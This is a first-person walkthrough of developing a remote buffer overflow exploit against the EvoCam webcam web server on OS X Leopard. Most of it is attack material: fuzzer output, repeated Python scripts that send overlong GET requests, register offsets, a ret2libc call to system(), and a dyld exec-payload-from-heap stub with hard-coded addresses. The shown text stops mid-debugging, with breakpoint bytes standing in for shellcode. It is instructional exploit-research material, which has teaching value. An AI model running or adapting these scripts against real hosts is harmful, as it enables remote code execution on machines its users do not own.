Evocam Remote Buffer Overflow on OSX

Evocam Remote Buffer Overflow on OSX

Exploitation Walkthrough

 

Introduction

This guide comes from my own journey from finding a buffer overflow in an OS X application to producing a working exploit. I have reasonably good exploit development skills having completed the Penetration Testing with BackTrack and Cracking the Perimeter training courses, and working on several buffer overflow exploits. The majority of my exploit development skills are based around Windows vulnerabilities and using the OllyDBG debugger.

After discovering a buffer overflow vulnerability in EvoCam, a WebCam application on OS X, I thought it would be a good idea to try and develop an exploit for it.

Tools Used

Most of the tools used come bundled with OS X and are part of the development environment Xcode which is an optional install which can be found on the Operating System DVD.

I also used the Metasploit Framework which installs and runs easily on OS X.

Note: Set CrashReportPrefs to Server mode so you don’t keep receiving the “Unexpectedly Quit” dialog every time vulnerable application crashes.

Bug Discovery and PoC

The bug was initially discovered by using the bed fuzzer which comes as part of BackTrack 4.


root@bt:/pentest/fuzzers/bed# ./bed.pl

BED 0.5 by mjm ( www.codito.de ) and eric ( www.snake-basket.de )

Usage:

./bed.pl -s [plugin] -t [target] -p [port] -o [timeout] [ depends on the plugin ]

[plugin]   = FTP/SMTP/POP/HTTP/IRC/IMAP/PJL/LPD/FINGER/SOCKS4/SOCKS5

[target]   = Host to check (default: localhost)

[port]     = Port to connect to (default: standard port)

[timeout]  = seconds to wait after each test (default: 2 seconds)

use "./bed.pl -s [plugin]" to obtain the parameters you need for the plugin.

Only -s is a mandatory switch.

So for we set our Web Server IP and the non standard HTTP port, and we run bed:


root@bt:/pentest/fuzzers/bed# ./bed.pl -s HTTP -t 192.168.1.29 -p 8080

BED 0.5 by mjm ( www.codito.de ) and eric ( www.snake-basket.de )

+ Buffer overflow testing:

testing: 1      HEAD XAXAX HTTP/1.0     ...........

testing: 2      HEAD / XAXAX    ...........

testing: 3      GET XAXAX HTTP/1.0      ........connection attempt failed: Connection refused

I used WireShark to capture the data sent between bed and EvoCam and used the payload which caused the crash to develop a simple skeleton PoC python script. Our initial PoC code to reproduce the overflow:


#!/usr/bin/python

import socket

BUFFER = "A"*1800

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('192.168.1.29',8080))

print ("Sending Payloadrn")

s.send("GET " +BUFFER + " HTTP/1.0rnrn")

s.close()

We start the EvoCam process by double clicking on its icon and then attach using to the process using gdb within a terminal session:

OSX Exploit

We send our PoC and receive a crash which we catch in gdb. We don’t currently have control of EIP but it looks like we have overwritten ECX which has caused execution to stop because it is trying to read the contents of the memory that ECX points to, which is currently set to 0x41414141 (AAAA) from our buffer.


$ gdb -p `ps auxww | grep [Evo]Cam | awk {'print $2'}`

(gdb) c

Continuing.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x41414141

[Switching to process 989 thread 0x6137]

0x0004b675 in ExtractRequestedFileName ()

(gdb) info registers

eax            0x0      0

ecx            0x41414141       1094795585

edx            0x89940c 9016332

ebx            0x4b573  308595

esp            0xb01be480       0xb01be480

ebp            0xb01bedf8       0xb01bedf8

esi            0x899400 9016320

edi            0x0      0

eip            0x4b675  0x4b675

eflags         0x10246  66118

cs             0x17     23

ss             0x1f     31

ds             0x1f     31

es             0x1f     31

fs             0x1f     31

gs             0x37     55

(gdb) set disassembly-flavor intel

(gdb) x /i $eip

0x4b675 : mov    eax,DWORD PTR [ecx]

Exploit Development

Our next step is to replace our buffer of A’s with a pattern buffer created using Metasploit’s pattern_create.rb tool to help us pinpoint the exact part of our buffer which is overwriting the ECX register. The updated script is:


#!/usr/bin/python

import socket

BUFFER = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('192.168.1.29',8080))

print ("Sending Payloadrn")

s.send("GET " +BUFFER + " HTTP/1.0rnrn")

s.close()

Okay so we restart the EvoCam process, attach using gdb and send our updated buffer.


Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x42307342

[Switching to process 1025 thread 0x6713]

(gdb) x /i $eip

0x4b675 : mov    (%ecx),%eax 0x42307342]

We can now see that ECX has been overwritten with the bytes 0x42307342, we can use Metasploit’s pattern_offset.rb tool to find out which bytes in our buffer these are:


$ ./pattern_offset.rb 0x42307342

1320

So we can see the 4 bytes of our buffer starting at 1320 overwrite ECX, and we need to replace these with the address of some readable memory. I’ll use a R/W address as this will come in useful later. We can pull this address from the .data segment of dyld process using otool -l /usr/lib/dyld


#!/usr/bin/python

import socket

import struct

PATTERN = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'

WRITEABLE = 0x8fe66448

BUFFER = PATTERN[0:1320] + struct.pack(']I',WRITEABLE) + PATTERN[1324:1700]

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('192.168.1.29',8080))

print ("Sending Payloadrn")

s.send("GET " +BUFFER + " HTTP/1.0rnrn")

s.close()

So we have updated our exploit with a readable memory address at offset 1320, we restart EvoCam and attach gdb. Sending our updated exploit gives us a different crash:


Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x39724238

[Switching to process 1045 thread 0x651b]

0x967de80e in strstr ()

(gdb) set disassembly-flavor intel

(gdb) x /i $eip

0x967de80e : movzx  eax,BYTE PTR [esi]

(gdb) info registers

eax            0x5      5

ecx            0x54363  344931

edx            0x54360  344928

ebx            0x4b573  308595

esp            0xb01be450       0xb01be450

ebp            0xb01be478       0xb01be478

esi            0x39724238       963789368

edi            0x52     82

eip            0x967de80e       0x967de80e

eflags         0x10206  66054

cs             0x17     23

ss             0x1f     31

ds             0x1f     31

es             0x1f     31

fs             0x1f     31

gs             0x37     55

This time is looks to be the overwritten ESI register that is causing us issues.


$ ./pattern_offset.rb 0x39724238

1316

So we need to replace part of our buffer starting at offset 1316 with another readable address. And try again..

Controlling Execution


#!/usr/bin/python

import socket

import struct

PATTERN = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'

WRITEABLE = 0x8fe66448

BUFFER = PATTERN[0:1316] + struct.pack(']II',WRITEABLE,WRITEABLE) + PATTERN[1324:1700]

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('192.168.1.29',8080))

print ("Sending Payloadrn")

s.send("GET " +BUFFER + " HTTP/1.0rnrn")

s.close()

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x72423772

[Switching to process 1094 thread 0x6437]

0x72423772 in ?? ()

(gdb) info registers

eax            0x0      0

ecx            0xa05dc1a0       -1604468320

edx            0x7d000  512000

ebx            0x42327242       1110602306

esp            0xb01bee00       0xb01bee00

ebp            0x42367242       0x42367242

esi            0x72423372       1916941170

edi            0x35724234       896680500

eip            0x72423772       0x72423772

eflags         0x10282  66178

cs             0x17     23

ss             0x1f     31

ds             0x1f     31

es             0x1f     31

fs             0x1f     31

gs             0x37     55

This time the crash is because we have overwritten the EIP register, this is good news as hopefully we aren’t too far away from getting code execution!

On a Windows exploit with a vanilla EIP overwrite(with out the complications of DEP present it later versions) we normally just overwrite EIP with a JMP assembly command to land us into our shellcode on the stack and it’s game over. However OS X does have the area of memory designated for the stack marked as Non-Execute (NX) which means we can’t run our exploit code directly from the stack.

Return to libC Style

So let’s try a simple ret2libc style exploit and replace our overwritten with the memory address of the system() function.

We can find the address of the system() call from it’s parent library libSystem. First we look at /var/db/dyld/dyld_shared_cache_i386.map so see where the library is loaded:


/usr/lib/libSystem.B.dylib

__TEXT 0x967B3000 -] 0x9691B000

__DATA 0xA0842000 -] 0xA0881000

__IMPORT 0xA0A96000 -] 0xA0A98000

__LINKEDIT 0x97403000 -] 0x97804000

nm /usr/lib/libSystem.B.dylib | grep "T _system"

0008d6d4 T _system

So we take the base address of the library 0x967B3000 and add the offset to the system function 0x0008d6d4 which gives us 0x968406d4

We can also get this value from gdb:


(gdb) p *system

$1 = {} 0x968406d4

So we can take this memory address of system() and update our exploit placing it at the correct offset in our buffer:


$ ./pattern_offset.rb 0x72423772

1312

#!/usr/bin/python

import socket

import struct

PATTERN = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'

SYSTEM = 0x968406d4

WRITEABLE = 0x8fe66448

BUFFER = PATTERN[0:1312] + struct.pack(']III',SYSTEM,WRITEABLE,WRITEABLE) + PATTERN[1324:1700]

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('192.168.1.29',8080))

print ("Sending Payloadrn")

s.send("GET " +BUFFER + " HTTP/1.0rnrn")

s.close()

We restart EvoCam and attach gdb setting a breakpoint on the system() function:


(gdb) b *system

Breakpoint 1 at 0x968406d4

(gdb) c

Continuing.

[Switching to process 1179 thread 0x673b]

Breakpoint 1, 0x968406d4 in system ()

(gdb) p $eip

$1 = (void (*)()) 0x968406d4

Excellent, so we now have control over the execution of our vulnerable program!

There are however two problems with this method.

Firstly if we wanted to to use system() to execute a command of our choosing then we would need to pass the command to be executed as an argument to the system() call by placing a reference to its address in memory via a register. However this would require us to know where our argument is located on the stack. Maybe with a bit of luck and generous use of Nops we may be able to get around this.

Our Second problem is that Apple introduced Library Randomisation in the Leopard (10.5) version of their Operating System. Randomisation doesn’t happen very often so the address of a library will often be the same even across reboots, but addresses will be different across systems which would not be very effective for our remotely exploitable buffer overflow.

Exec Payload from Heap Technique

One method of getting around this issue is to use Dino Dai Zovi (Co-author of The Mac Hacker’s Handbook) exec-payload-from-heap technique. This works by using calls to functions located in /usr/lib/dyld the dynamic linker which is always loaded at a known address in memory. The result of this technique is that our exploit shellcode gets copied from the Stack to Heap memory from where it can be executed.

I won’t cover the exact working of this technique here, full details can be found in The Mac Hacker’s Handbook which is an excellent read for those interested in OS X exploitation.

I grabbed a copy of the exec-payload-from-heap stub from the OS X rtsp exploit in MetaSploit:


def make_exec_payload_from_heap_stub()

frag0 =

"x90" + # nop

"x58" + # pop eax

"x61" + # popa

"xc3"   # ret

frag1 =

"x90" +             # nop

"x58" +             # pop eax

"x89xe0" +         # mov eax, esp

"x83xc0x0c" +     # add eax, byte +0xc

"x89x44x24x08" + # mov [esp+0x8], eax

"xc3"               # ret

setjmp = target['setjmp']

writable = target['Writable']

strdup = target['strdup']

exec_payload_from_heap_stub =

frag0 +

[setjmp].pack('V') +

[writable + 32, writable].pack("V2") +

frag1 +

"X" * 20 +

[setjmp].pack('V') +

[writable + 24, writable, strdup, jmp_eax].pack("V4") +

"X" * 4

end

The stub relies on several hard coded memory references from the dyld libary.

The location of setjmp and strdup can be found in /usr/lib/dyld:


$ nm /usr/lib/dyld | grep "setjmp"

8fe1cf38 t _setjmp

$ nm /usr/lib/dyld | grep "strdup"

8fe210dc t _strdup

We also need a JMP EAX instruction to jump to our payload once we have copied it to the heap and placed it’s memory location in EAX. We can do this with msfmachscan:


$ msfmachscan -j EAX /usr/lib/dyld  | head -10

File is not a Mach-O binary, trying Fat..

Detected 4 archs in binary.

[/usr/lib/dyld]

0x8fd7dbce jmp eax

0x8fd7dc82 jmp eax

0x8fd7e3be call eax

0x8fd7e426 call eax

0x8fd7e54e call eax

0x8fd7e6e6 jmp eax

0x8fd7f91a jmp eax

0x8fd7fbae call eax

So plugging all of these address into our exploit code we now have:


#!/usr/bin/python

import socket

import struct

# Settings for Leopard 10.5.8

WRITEABLE = 0x8fe66448

SETJMP = 0x8fe1cf38    #$ nm /usr/lib/dyld | grep "setjmp" #8fe1cf38 t _setjmp

STRDUP = 0x8fe210dc    #$ nm /usr/lib/dyld | grep "strdup" #8fe210dc t _strdup

JMPEAX = 0x8fe01041    #0x8fe01041 [__dyld__dyld_start+49]:     jmp    *%eax

buf="xccxccxccxcc"

FRAG0 = "x90" + "x58" + "x61" + "xc3"

FRAG1 = "x90" + "x58" + "x89xe0" + "x83xc0x0c"  + "x89x44x24x08" + "xc3"

STUB =  

FRAG0 +

struct.pack(']III',SETJMP,WRITEABLE+32,WRITEABLE) +

FRAG1 +

'A'*20 +

struct.pack(']IIIII',SETJMP,WRITEABLE+24,WRITEABLE,STRDUP,JMPEAX) +

'A'*4

BUFFER = "A"*1308 + STUB + buf

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('192.168.1.29',8080))

print '[+] Sending evil buffer...'

s.send("GET " +BUFFER + " HTTP/1.0rnrn")

s.close()

We have included some breakpoints in buf to act as our shellcode that we wish to run from the heap.

Restarting EvoCam, attaching gdb and sending our exploit gives us the following crash:


(gdb) c

Continuing.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_PROTECTION_FAILURE at address: 0x00000000

[Switching to process 1311 thread 0x613f]

0x00000000 in ?? ()

(gdb) info registers

eax            0x0      0

ecx            0xa087c708       -1601714424

edx            0x967e6587       -1770101369

ebx            0x0      0

esp            0xb01bee2c       0xb01bee2c

ebp            0x0      0x0

esi            0xc083   49283

edi            0xe0895890       -527869808

eip            0x0      0

eflags         0x10246  66118

cs             0x17     23

ss             0x1f     31

ds             0x1f     31

es             0x1f     31

fs             0x1f     31

gs             0x37     55

So we didn’t hit our exploit buffer as we hoped, it looks like something has gone wrong and zeroed out EIP. Lets run things again but place some break points and see what is happening.

After manually stepping through the setjmp() function I discovered it is best to set our breakpoint at the end of the function before it’s final return call.


